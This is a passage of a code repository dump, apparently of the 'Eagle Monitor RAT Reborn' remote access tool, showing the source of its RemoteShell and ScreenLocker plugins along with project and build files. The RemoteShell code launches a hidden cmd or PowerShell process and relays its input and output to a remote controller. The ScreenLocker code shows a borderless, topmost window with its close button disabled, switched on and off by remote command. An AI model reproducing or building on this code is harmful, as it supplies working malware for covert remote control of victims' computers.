sendDataAsync.EndInvoke(ar);\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        internal static ClientHandler clientHandler;\n\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.SHELL_START:\n                    clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID, ((StartShellSessionPacket)loadingAPI.CurrentPacket).isPWS);\n                    clientHandler.ConnectStart();\n                    break;\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"RemoteShell\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"RemoteShell\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"417f720d-e20b-4ebd-bb31-fd3e4c630fad\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/RemoteShell.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>RemoteShell</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"ShellHander.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/ShellHander.cs",
    "content": "﻿using PacketLib.Packet;\nusing System;\nusing System.Diagnostics;\nusing System.Globalization;\nusing System.IO;\nusing System.Text;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium | quasar ||\n|| github : https://github.com/arsium       ||\n|| From : https://github.com/quasar/Quasar/blob/master/Quasar.Client/IO/Shell.cs ||\n*/\n\nnamespace Plugin\n{\n    internal class ShellHander : IDisposable\n    {\n        internal ShellHander(bool isPWS)\n        {\n            this.isPWS = isPWS;\n        }\n\n        private bool isPWS { get; set; }\n        private Process _prc;\n        private bool _read;\n        private readonly object _readLock = new object();\n        private readonly object _readStreamLock = new object();\n        private Encoding _encoding;\n        private StreamWriter _inputWriter;\n\n        private void CreateSession()\n        {\n            lock (_readLock)\n            {\n                _read = true;\n            }\n\n            var cultureInfo = CultureInfo.InstalledUICulture;\n            _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage);\n\n            _prc = new Process\n            {\n                StartInfo = isPWS ?\n                new ProcessStartInfo(\"powershell\")\n                {\n                    UseShellExecute = false,\n                    CreateNoWindow = true,\n                    RedirectStandardInput = true,\n                    RedirectStandardOutput = true,\n                    RedirectStandardError = true,\n                    StandardOutputEncoding = _encoding,\n                    StandardErrorEncoding = _encoding,\n                    WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),\n                }\n                :\n                new ProcessStartInfo(\"cmd\")\n                {\n                    UseShellExecute = false,\n                    CreateNoWindow = true,\n                    RedirectStandardInput = true,\n                    RedirectStandardOutput = true,\n                    RedirectStandardError = true,\n                    StandardOutputEncoding = _encoding,\n                    StandardErrorEncoding = _encoding,\n                    WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),\n                    Arguments = $\"/K CHCP {_encoding.CodePage}\"\n                }\n            };\n            _prc.Start();\n\n            RedirectIO();\n        }\n\n        private void RedirectIO()\n        {\n            _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding);\n            new Thread(RedirectStandardOutput).Start();\n            new Thread(RedirectStandardError).Start();\n        }\n\n        private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError)\n        {\n            lock (_readStreamLock)\n            {\n                var streamBuffer = new StringBuilder();\n\n                streamBuffer.Append((char)firstCharRead);\n\n                // While there are more characters to be read\n                while (streamReader.Peek() > -1)\n                {\n                    // Read the character in the queue\n                    var ch = streamReader.Read();\n\n                    // Accumulate the characters read in the stream buffer\n                    streamBuffer.Append((char)ch);\n\n                    if (ch == '\\n')\n                        SendAndFlushBuffer(ref streamBuffer, isError);\n                }\n                // Flush any remaining text in the buffer\n                SendAndFlushBuffer(ref streamBuffer, isError);\n            }\n        }\n\n        private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError)\n        {\n            if (textBuffer.Length == 0) return;\n\n            var toSend = ConvertEncoding(_encoding, textBuffer.ToString());\n\n            if (string.IsNullOrEmpty(toSend)) return;\n\n            StdOutShellSessionPacket stdOutShellSession = new StdOutShellSessionPacket(toSend)\n            {\n                BaseIp = Launch.clientHandler.baseIp,\n                HWID = Launch.clientHandler.HWID\n            };\n\n            lock (textBuffer)\n            {\n                //fix display server console with lock + sleep\n                Launch.clientHandler.SendPacket(stdOutShellSession);\n                Thread.Sleep(1);\n            }\n\n            textBuffer.Clear();\n        }\n\n        private void RedirectStandardOutput()\n        {\n            try\n            {\n                int ch;\n                // The Read() method will block until something is available\n                while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1)\n                {\n                    ReadStream(ch, _prc.StandardOutput, false);\n                }\n\n                lock (_readLock)\n                {\n                    if (_read)\n                    {\n                        _read = false;\n                        throw new ApplicationException(\"session unexpectedly closed\");\n                    }\n                }\n            }\n            catch (ObjectDisposedException)\n            {\n                // just exit\n            }\n            catch (Exception ex)\n            {\n                if (ex is ApplicationException || ex is InvalidOperationException)\n                {\n                    CreateSession();\n                }\n            }\n        }\n\n        private void RedirectStandardError()\n        {\n            try\n            {\n                int ch;\n                // The Read() method will block until something is available\n                while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1)\n                {\n                    ReadStream(ch, _prc.StandardError, true);\n                }\n\n                lock (_readLock)\n                {\n                    if (_read)\n                    {\n                        _read = false;\n                        throw new ApplicationException(\"session unexpectedly closed\");\n                    }\n                }\n            }\n            catch (ObjectDisposedException)\n            {\n                // just exit\n            }\n            catch (Exception ex)\n            {\n                if (ex is ApplicationException || ex is InvalidOperationException)\n                {\n                    CreateSession();\n                }\n            }\n        }\n\n        public bool ExecuteCommand(string command)\n        {\n            if (_prc == null || _prc.HasExited)\n            {\n                try\n                {\n                    CreateSession();\n                }\n                catch (Exception)\n                {\n\n                    return false;\n                }\n            }\n\n            _inputWriter.WriteLine(ConvertEncoding(_encoding, command));\n            _inputWriter.Flush();\n\n            return true;\n        }\n\n        private string ConvertEncoding(Encoding sourceEncoding, string input)\n        {\n            var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input));\n            return Encoding.UTF8.GetString(utf8Text);\n        }\n\n        public void Dispose()\n        {\n            Dispose(true);\n            GC.SuppressFinalize(this);\n        }\n\n        protected virtual void Dispose(bool disposing)\n        {\n            if (disposing)\n            {\n                lock (_readLock)\n                {\n                    _read = false;\n                }\n\n                if (_prc == null)\n                    return;\n\n                if (!_prc.HasExited)\n                {\n                    try\n                    {\n                        _prc.Kill();\n                    }\n                    catch\n                    {\n                    }\n                }\n\n                if (_inputWriter != null)\n                {\n                    _inputWriter.Close();\n                    _inputWriter = null;\n                }\n\n                _prc.Dispose();\n                _prc = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CopyComplete",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache",
    "content": "ea63fe10f09e3b80c782a888e5ea38029b453d59\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt",
    "content": "E:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteShell.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteShell\\obj\\Release\\RemoteShell.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteShell\\obj\\Release\\RemoteShell.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteShell\\obj\\Release\\RemoteShell.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteShell\\obj\\Release\\RemoteShell.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteShell.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteShell\\obj\\Release\\RemoteShell.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteShell\\obj\\Release\\RemoteShell.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteShell\\obj\\Release\\RemoteShell.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteShell\\obj\\Release\\RemoteShell.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/Helpers.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Windows.Forms;\nusing static Plugin.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n\tinternal static class Helpers\n\t{\n\t\tprivate const string screenLockerName = \"BLRSCRL\";\n\t\tinternal static int SetAero10(IntPtr hwnd)\n\t\t{\n\t\t\tAccentPolicy accentPolicy = new AccentPolicy\n\t\t\t{\n\t\t\t\tAccentState = AccentState.ACCENT_ENABLE_BLURBEHIND,\n\t\t\t\tAccentFlags = 0,\n\t\t\t\tGradientColor = 0,\n\t\t\t\tAnimationId = 0\n\t\t\t};\n\t\t\tWindowCompositionAttributeData data = new WindowCompositionAttributeData { Attribute = WindowCompositionAttribute.WCA_ACCENT_POLICY };\n\t\t\tint accentSize = Marshal.SizeOf(accentPolicy);\n\t\t\tIntPtr accentPtr = Marshal.AllocHGlobal(accentSize);\n\t\t\tMarshal.StructureToPtr(accentPolicy, accentPtr, false);\n\t\t\tdata.Data = accentPtr;\n\t\t\tdata.SizeOfData = accentSize;\n\t\t\tint result = SetWindowCompositionAttribute(hwnd, ref data);\n\t\t\tMarshal.FreeHGlobal(accentPtr);\n\t\t\treturn result;\n\t\t}\n\n\t\tinternal static void StartScreenLocker()\n\t\t{\n\t\t\tif (Application.OpenForms[screenLockerName] == null)\n\t\t\t{\n\t\t\t\tScreenLocker o = new ScreenLocker(screenLockerName);\n\t\t\t\to.InitializeComponent();\n\t\t\t\to.ShowDialog();\n\t\t\t}\n\t\t}\n\n\t\tinternal static void StopScreenLocker()\n\t\t{\n\t\t\tPostMessage(Application.OpenForms[screenLockerName].Handle, WM_Message.WM_SYSCOMMAND, SC_Message.SC_CLOSE, IntPtr.Zero);\n\t\t\treturn;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class Imports\n    {\n        #region \"user32\"\n        private const string user32 = \"user32.dll\";\n        [DllImport(user32)]\n        internal static extern bool SetForegroundWindow(IntPtr hWnd);\n        [DllImport(user32)]\n        internal static extern int SetWindowCompositionAttribute(IntPtr hwnd, ref WindowCompositionAttributeData data);\n        [DllImport(user32)]\n        internal static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, Int32 X, Int32 Y, Int32 cx, Int32 cy, Int32 uFlags);\n\n        [DllImport(user32)]\n        internal static extern IntPtr PostMessage(IntPtr hWnd, WM_Message Msg, SC_Message wParam, IntPtr lParam);\n\n        public enum WM_Message : uint\n        {\n            WM_DESTROY = 0x2,\n            WM_CLOSE = 0x10,\n            WM_SYSCOMMAND = 0x112,\n            WM_SETTEXT = 0x000C,\n            WM_APPCOMMAND = 0x0319\n        }\n        public enum SC_Message : uint\n        {\n            NONE = 0,\n            SC_CLOSE = 0xF060,\n            SC_MAXIMIZE = 0xF030,\n            SC_MINIMIZE = 0xF020,\n            SC_RESTORE = 0xF120\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public partial struct MARGINS\n        {\n            public int Left;\n            public int Right;\n            public int Top;\n            public int Bottom;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct WindowCompositionAttributeData\n        {\n            public WindowCompositionAttribute Attribute;\n            public IntPtr Data;\n            public int SizeOfData;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct AccentPolicy\n        {\n            public AccentState AccentState;\n            public int AccentFlags;\n            public int GradientColor;\n            public int AnimationId;\n        }\n\n        public enum WindowCompositionAttribute\n        {\n            WCA_UNDEFINED = 0,\n            WCA_NCRENDERING_ENABLED = 1,\n            WCA_NCRENDERING_POLICY = 2,\n            WCA_TRANSITIONS_FORCEDISABLED = 3,\n            WCA_ALLOW_NCPAINT = 4,\n            WCA_CAPTION_BUTTON_BOUNDS = 5,\n            WCA_NONCLIENT_RTL_LAYOUT = 6,\n            WCA_FORCE_ICONIC_REPRESENTATION = 7,\n            WCA_EXTENDED_FRAME_BOUNDS = 8,\n            WCA_HAS_ICONIC_BITMAP = 9,\n            WCA_THEME_ATTRIBUTES = 10,\n            WCA_NCRENDERING_EXILED = 11,\n            WCA_NCADORNMENTINFO = 12,\n            WCA_EXCLUDED_FROM_LIVEPREVIEW = 13,\n            WCA_VIDEO_OVERLAY_ACTIVE = 14,\n            WCA_FORCE_ACTIVEWINDOW_APPEARANCE = 15,\n            WCA_DISALLOW_PEEK = 16,\n            WCA_CLOAK = 17,\n            WCA_CLOAKED = 18,\n            WCA_ACCENT_POLICY = 19,\n            WCA_FREEZE_REPRESENTATION = 20,\n            WCA_EVER_UNCLOAKED = 21,\n            WCA_VISUAL_OWNER = 22,\n            WCA_HOLOGRAPHIC = 23,\n            WCA_EXCLUDED_FROM_DDA = 24,\n            WCA_PASSIVEUPDATEMODE = 25,\n            WCA_LAST = 26\n        }\n\n        public enum AccentState\n        {\n            ACCENT_DISABLED = 0,\n            ACCENT_ENABLE_GRADIENT = 1,\n            ACCENT_ENABLE_TRANSPARENTGRADIENT = 2,\n            ACCENT_ENABLE_BLURBEHIND = 3,\n            ACCENT_ENABLE_ACRYLICBLURBEHIND = 4,\n            ACCENT_ENABLE_HOSTBACKDROP = 5,\n            ACCENT_INVALID_STATE = 6\n        }\n\n        public const int HWND_BOTTOM = 1;\n        public const int HWND_NOTOPMOST = -2;\n        public const int HWND_TOP = 0;\n        public const int HWND_TOPMOST = -1;\n\n\n        public const Int32 SWP_NOSIZE = 0x1;\n        public const Int32 SWP_NOMOVE = 0x2;\n        public const Int32 SWP_NOREDRAW = 0x8;\n        public const Int32 SWP_DEFERERASE = 0x2000;\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.MISC_SCREENLOCKER_ON:\n                    Helpers.StartScreenLocker();\n                    break;\n\n                case PacketType.MISC_SCREENLOCKER_OFF:\n                    Helpers.StopScreenLocker();\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"ScreenLocker\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"ScreenLocker\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"8e4b128d-a9a9-4bcc-b87d-5fa50ec07261\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/ScreenLocker.cs",
    "content": "﻿using System;\nusing System.Windows.Forms;\nusing static Plugin.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n\tclass ScreenLocker : Form\n\t{\n\t\tpublic ScreenLocker(string name)\n\t\t{\n\t\t\tthis.Name = name;\n\t\t\tthis.Text = name;\n\t\t\tthis.Load += new EventHandler(Form1_Load);\n\t\t\tthis.Shown += new System.EventHandler(this.Form1_Shown);\n\t\t}\n\n\t\tprotected override void Dispose(bool disposing)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (disposing && components != null)\n\t\t\t\t{\n\t\t\t\t\tcomponents.Dispose();\n\t\t\t\t}\n\t\t\t}\n\t\t\tfinally\n\t\t\t{\n\t\t\t\tbase.Dispose(disposing);\n\t\t\t}\n\t\t}\n\n\t\tprivate System.ComponentModel.IContainer components;\n\n\t\tpublic void InitializeComponent()\n\t\t{\n\t\t\tthis.SuspendLayout();\n\t\t\tthis.AutoScaleDimensions = new System.Drawing.SizeF(6.0F, 13.0F);\n\t\t\tthis.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n\t\t\tthis.BackColor = System.Drawing.Color.Black;\n\t\t\tthis.ClientSize = new System.Drawing.Size(800, 450);\n\t\t\tthis.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;\n\t\t\tthis.ShowIcon = false;\n\t\t\tthis.ShowInTaskbar = false;\n\t\t\tthis.ResumeLayout(false);\n\t\t}\n\n\t\tprotected override CreateParams CreateParams\n\t\t{\n\t\t\tget\n\t\t\t{\n\t\t\t\tCreateParams cp = base.CreateParams;\n\t\t\t\tconst int CS_NOCLOSE = 0x200;\n\t\t\t\tcp.ClassStyle |= CS_NOCLOSE;\n\t\t\t\treturn cp;\n\t\t\t}\n\t\t}\n\n\t\tprivate void Form1_Load(object sender, EventArgs e)\n\t\t{\n\t\t\tthis.WindowState = FormWindowState.Maximized;\n\t\t\tSetWindowPos(this.Handle, (IntPtr)HWND_TOPMOST, Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, SWP_NOMOVE | SWP_NOSIZE | SWP_NOREDRAW | 